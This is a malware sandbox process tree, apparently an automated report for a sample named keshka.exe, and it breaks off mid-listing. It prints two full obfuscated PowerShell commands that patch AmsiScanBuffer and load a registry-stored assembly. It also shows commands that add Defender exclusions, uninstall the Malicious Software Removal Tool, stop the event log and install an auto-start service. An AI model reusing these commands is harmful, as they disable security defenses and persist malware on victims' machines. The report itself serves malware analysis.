"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-169d6ee0-14bf-4eb4-bf8f-4b068d16bc35 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3695aba3-39b8-4f27-9a8c-d82263e0da87 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3493817e-6a96-4c25-a81a-3715017ccf5b -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d3193f60-ab95-4df5-b900-f0bbc0c1adb0 -LifetimeId:bef6ceab-32f8-4745-b2b3-b0320f5dfbe9 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:964

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1120
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:jwFgSpCAxUpc{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NJDjwXjBOigjpa,[Parameter(Position=1)][Type]$RZAJweNFPz)$VcwPZgAlrRv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+'e'+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+'yD'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+'y'+[Char](112)+''+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+'l'+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+'e'+'d,A'+'n'+''+'s'+'i'+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+'o'+'C'+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$VcwPZgAlrRv.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$NJDjwXjBOigjpa).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+'Ma'+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$VcwPZgAlrRv.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](72)+''+'i'+''+'d'+''+'e'+'BySi'+'g'+''+[Char](44)+'New'+'S'+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+'al',$RZAJweNFPz,$NJDjwXjBOigjpa).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+','+[Char](77)+'a'+[Char](110)+''+'a'+'ge'+[Char](100)+'');Write-Output $VcwPZgAlrRv.CreateType();}$axeWKMySpiDOE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+[Char](116)+'em'+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+'r'+[Char](111)+'s'+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+'3'+''+[Char](50)+'.'+[Char](85)+'n'+'s'+'a'+[Char](102)+''+[Char](101)+'Na'+'t'+''+[Char](105)+''+[Char](118)+'e'+'M'+'e'+'t'+''+[Char](104)+''+[Char](111)+'d'+'s'+'');$bwQuyqukMUfJiz=$axeWKMySpiDOE.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'P'+''+[Char](114)+''+'o'+'c'+'A'+''+[Char](100)+'d'+'r'+'e'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$HeDTrbWzXxXeZqlYWMA=jwFgSpCAxUpc @([String])([IntPtr]);$SOFdlPsmdOHBylEuZLMsQH=jwFgSpCAxUpc @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$WynCLekzQNh=$axeWKMySpiDOE.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+'d'+'u'+''+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$WSCNCKvTRDyKDt=$bwQuyqukMUfJiz.Invoke($Null,@([Object]$WynCLekzQNh,[Object](''+'L'+''+[Char](111)+'a'+'d'+''+[Char](76)+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$BqkGPLitlZpPFrBJd=$bwQuyqukMUfJiz.Invoke($Null,@([Object]$WynCLekzQNh,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'t'+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+'ote'+[Char](99)+''+'t'+'')));$sGOBRhE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WSCNCKvTRDyKDt,$HeDTrbWzXxXeZqlYWMA).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'');$SfYpQqswKcmimZLlE=$bwQuyqukMUfJiz.Invoke($Null,@([Object]$sGOBRhE,[Object]('A'+[Char](109)+''+[Char](115)+'iS'+[Char](99)+''+'a'+''+[Char](110)+'B'+'u'+''+[Char](102)+'fe'+'r'+'')));$CyTfQnJowu=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BqkGPLitlZpPFrBJd,$SOFdlPsmdOHBylEuZLMsQH).Invoke($SfYpQqswKcmimZLlE,[uint32]8,4,[ref]$CyTfQnJowu);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$SfYpQqswKcmimZLlE,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BqkGPLitlZpPFrBJd,$SOFdlPsmdOHBylEuZLMsQH).Invoke($SfYpQqswKcmimZLlE,[uint32]8,0x20,[ref]$CyTfQnJowu);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+''+'W'+''+'A'+'R'+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+'a'+''+'l'+'e'+'r'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of WriteProcessMemory
  PID:684
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DXQUPqFdsOPt{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MNSWdSRRxbtwnR,[Parameter(Position=1)][Type]$FYzBNxPRIx)$nOYVJppbEQI=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+'l'+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+'D'+[Char](101)+'l'+[Char](101)+'g'+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+'e'+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+'Mo'+[Char](100)+'u'+[Char](108)+'e',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+'P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'Se'+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+'si'+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+''+[Char](44)+''+'A'+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+'',[MulticastDelegate]);$nOYVJppbEQI.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'pec'+[Char](105)+''+[Char](97)+'lN'+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'eBy'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+'u'+[Char](98)+''+'l'+'ic',[Reflection.CallingConventions]::Standard,$MNSWdSRRxbtwnR).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$nOYVJppbEQI.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'H'+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,'+'N'+''+'e'+''+[Char](119)+''+[Char](83)+'l'+[Char](111)+''+'t'+''+[Char](44)+'V'+'i'+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+'l',$FYzBNxPRIx,$MNSWdSRRxbtwnR).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+'anage'+[Char](100)+'');Write-Output $nOYVJppbEQI.CreateType();}$ATlUAAZsBUOxN=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+'sof'+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+'n'+'3'+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+'eN'+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+'e'+''+[Char](77)+''+'e'+'t'+[Char](104)+'o'+[Char](100)+''+[Char](115)+'');$wLsYNAGoCJgCmG=$ATlUAAZsBUOxN.GetMethod('Ge'+'t'+''+[Char](80)+'roc'+[Char](65)+'dd'+'r'+''+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'S'+[Char](116)+''+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$sCfwlsQJKjmUtSfgcak=DXQUPqFdsOPt @([String])([IntPtr]);$mdlSOPUAawMzdhcOiPbFIP=DXQUPqFdsOPt @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PJmvAYyyBhv=$ATlUAAZsBUOxN.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+'a'+'n'+'dl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+'d'+''+'l'+''+'l'+'')));$QZlkRWISmTnTna=$wLsYNAGoCJgCmG.Invoke($Null,@([Object]$PJmvAYyyBhv,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+'ar'+[Char](121)+''+[Char](65)+'')));$ElkqscvnSvduRnJGu=$wLsYNAGoCJgCmG.Invoke($Null,@([Object]$PJmvAYyyBhv,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+'a'+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$TzhuGrV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QZlkRWISmTnTna,$sCfwlsQJKjmUtSfgcak).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+''+'l'+'l');$jTDnRPbuJhIMIXSBZ=$wLsYNAGoCJgCmG.Invoke($Null,@([Object]$TzhuGrV,[Object](''+[Char](65)+''+'m'+''+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+'B'+[Char](117)+''+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$IsVXEcsICV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ElkqscvnSvduRnJGu,$mdlSOPUAawMzdhcOiPbFIP).Invoke($jTDnRPbuJhIMIXSBZ,[uint32]8,4,[ref]$IsVXEcsICV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$jTDnRPbuJhIMIXSBZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ElkqscvnSvduRnJGu,$mdlSOPUAawMzdhcOiPbFIP).Invoke($jTDnRPbuJhIMIXSBZ,[uint32]8,0x20,[ref]$IsVXEcsICV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+'T'+'W'+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+'i'+''+'a'+''+[Char](108)+''+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:4552
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1364
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1516

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2012

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:2316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3172

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3224
- C:\Users\Admin\AppData\Local\Temp\keshka.exe
  "C:\Users\Admin\AppData\Local\Temp\keshka.exe"
  2⤵
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4212
- - C:\Users\Admin\AppData\Local\Comms\smss.exe
    C:\Users\Admin\AppData\Local\Comms\smss.exe
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3268
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      4⤵
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3256
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2264
  - - C:\Program Files\Google\Chrome\Application\smss.exe
      "C:\Program Files\Google\Chrome\Application\smss.exe" -
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1928
  - - C:\Program Files (x86)\Microsoft\Edge\Application\smss.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\smss.exe" -
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2344
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "start C:\Users\Admin\AppData\Local\Temp/f.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2032
    - - C:\Users\Admin\AppData\Local\Temp\f.exe
        
        C:\Users\Admin\AppData\Local\Temp/f.exe
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4980
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4656
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1456
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:2060
      - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        6⤵
        
        PID:1172
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "OXBNXCPO"
        6⤵
        Launches sc.exe
        
        PID:1580
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "OXBNXCPO" binpath= "C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:3432
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:4488
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "OXBNXCPO"
        6⤵
        Launches sc.exe
        
        PID:2828
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffb85fac728,0x7ffb85fac734,0x7ffb85fac740
    3⤵
    PID:1900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1700,i,6039052268117728401,1623119198583002710,262144 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1960 /prefetch:2
    3⤵
    PID:1612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=de --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1604,i,8318634926471084374,4065724944039740094,524288 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2304 /prefetch:3
    3⤵
    - System Time Discovery
    PID:524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,13319627666137367136,17009722899876419175,524288 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2532 /prefetch:8
    3⤵
    PID:2680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=de --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3248,i,5489445685421311782,5239269059135346357,2097152 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3260 /prefetch:1
    3⤵
    PID:4544
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=de --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3332,i,12714706120523250028,6745111903955079538,2097152 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3388 /prefetch:1
    3⤵
    PID:1524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4476,i,1741656116877911603,3331819711754155594,2097152 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4484 /prefetch:2
    3⤵
    PID:2500
- - C:\Program Files\Google\Chrome\Application\chrome.exe
